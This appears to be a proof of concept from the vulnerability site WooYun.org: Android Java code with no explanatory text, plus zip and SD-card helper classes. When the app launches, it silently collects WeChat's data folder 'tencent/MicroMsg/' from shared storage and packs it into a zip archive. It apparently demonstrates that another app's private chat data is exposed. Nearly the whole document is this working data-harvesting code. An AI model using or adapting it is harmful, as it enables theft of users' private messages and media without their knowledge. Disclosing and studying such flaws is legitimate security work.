WooYun.org

import java.io.File;
import java.io.IOException;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.Toast;
import com.xx.test4wechat.FileUtils;
import com.xx.test4wechat.ZipUtils;
public class MainActivity extends Activity {
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		FileUtils fileUtils = new FileUtils();
		String sDir = "tencent/MicroMsg/";
		String zDir = "xxx";
		String zipName = "xxx.zip";
		String SDRoot = fileUtils.getSDCardRoot();
		String sourceDir = SDRoot + sDir;
		File sFile = new File(sourceDir);
		if(sFile.exists() & sFile.isDirectory()){
			String dir = SDRoot + zDir;
			File zFile = new File(dir);
			if(!zFile.exists()){
				File tempFile = fileUtils.createSDDir(dir);
			}
			if(!zFile.exists())
				fileUtils.createSDDir(zDir);
			String zipDir = dir + File.separator + zipName;
			File zipDirFile = new File(zipDir);
			if(!zipDirFile.exists()){
				try {
					fileUtils.createFileInSDCard(zDir, zipName);
				} catch (IOException e1) {
					// TODO Auto-generated catch block
					e1.printStackTrace();
				}
			}
			try {
				ZipUtils.zipFiles(sourceDir, zipDir);
				Toast.makeText(getApplicationContext(), "success!!!", Toast.LENGTH_LONG).show();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}else{
			Toast.makeText(getApplicationContext(), "failed!!!", Toast.LENGTH_LONG).show();
		}
		
	}
	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		// Inflate the menu; this adds items to the action bar if it is present.
		getMenuInflater().inflate(R.menu.main, menu);
		return true;
	}
}

private static final int BUFF_SIZE = 1024 * 1024;
	/**
	 * 批量压缩文件
	 * @param resFileList  需要压缩的文件
	 * @param zipFile 生成的文件
	 * @throws IOException 压缩异常
	 */
	public static void zipFiles(String sourceDir , String zipDir ) throws IOException{
		File zipFile = new File(zipDir);
		File dirFile = new File(sourceDir);
		File[] resFileList = dirFile.listFiles();
		ZipOutputStream zipOut = null;
		try{
			zipOut = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile),BUFF_SIZE));
			for(File resFile : resFileList){
				zipFile(resFile , zipOut ,"");
			}
		} finally {
			zipOut.close();
		}
	}
	/**
	 * 批量压缩文件
	 * @param resFileList  需要压缩的文件
	 * @param zipFile 生成的文件
	 * @throws IOException 压缩异常
	 */
	public static void zipFiles(String sourceDir , String zipDir  , String comment ) throws IOException{
		File zipFile = new File(zipDir);
		File dirFile = new File(sourceDir);
		File[] resFileList = dirFile.listFiles();
		ZipOutputStream zipOut = null;
		try{
			zipOut = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile),BUFF_SIZE));
			for(File resFile : resFileList){
				zipFile(resFile , zipOut ,"");
			}
			zipOut.setComment(comment);
		} finally {
			zipOut.close();
		}
	}
	/**
	 * 压缩文件
	 * @param resFile 需要压缩的文件或者文件夹
	 * @param zipOut 压缩文件的目的文件
	 * @param rootPath 压缩文件的路径
	 * @throws UnsupportedEncodingException 找不到文件的异常
	 * @throws IOException 压缩错误异常
	 */
	private static void zipFile(File resFile, ZipOutputStream zipOut,String rootPath) throws UnsupportedEncodingException , IOException {
		// TODO Auto-generated method stub
		rootPath = rootPath + ((rootPath.trim().length() == 0)?"" : File.separator) + resFile.getName();
		rootPath = new String(rootPath.getBytes("8859_1"),"GB2312");
		BufferedInputStream input = null;
		try{
			if(resFile.isDirectory()){
				File[] fileList = resFile.listFiles();
				for(File file : fileList){
					zipFile(file , zipOut , rootPath);
				}
			}else{
				byte buffer[] = new byte[BUFF_SIZE];
				input = new BufferedInputStream(new FileInputStream(resFile) , BUFF_SIZE);
				zipOut.putNextEntry(new ZipEntry(rootPath));
				int realLength;
				while((realLength = input.read(buffer)) != -1){
					zipOut.write(buffer , 0 , realLength);
				}
				input.close();
				zipOut.flush();
				zipOut.closeEntry();	
			}
		} finally{
			if (input != null)
				input.close();
		}
	}

public File createFileInSDCard(String dir,String fileName) throws IOException{
		File file = new File(SDCardRoot + dir + File.separator + fileName);
		file.createNewFile();
		file.canWrite();
		return file;
	}
	/**
	 * 在SD卡上创建目录
	 * @param dir 目录路径
	 * @return
	 */
	public File createSDDir(String dir){
		File dirFile = new File(SDCardRoot + dir + File.separator);
		if(!dirFile.exists()){
			dirFile.mkdirs();
		}
		dirFile.canWrite();
		return dirFile;
	}

public String getSDState(){
		return SDStateString;
	}
	public String getSDCardRoot(){
		return SDCardRoot;
	}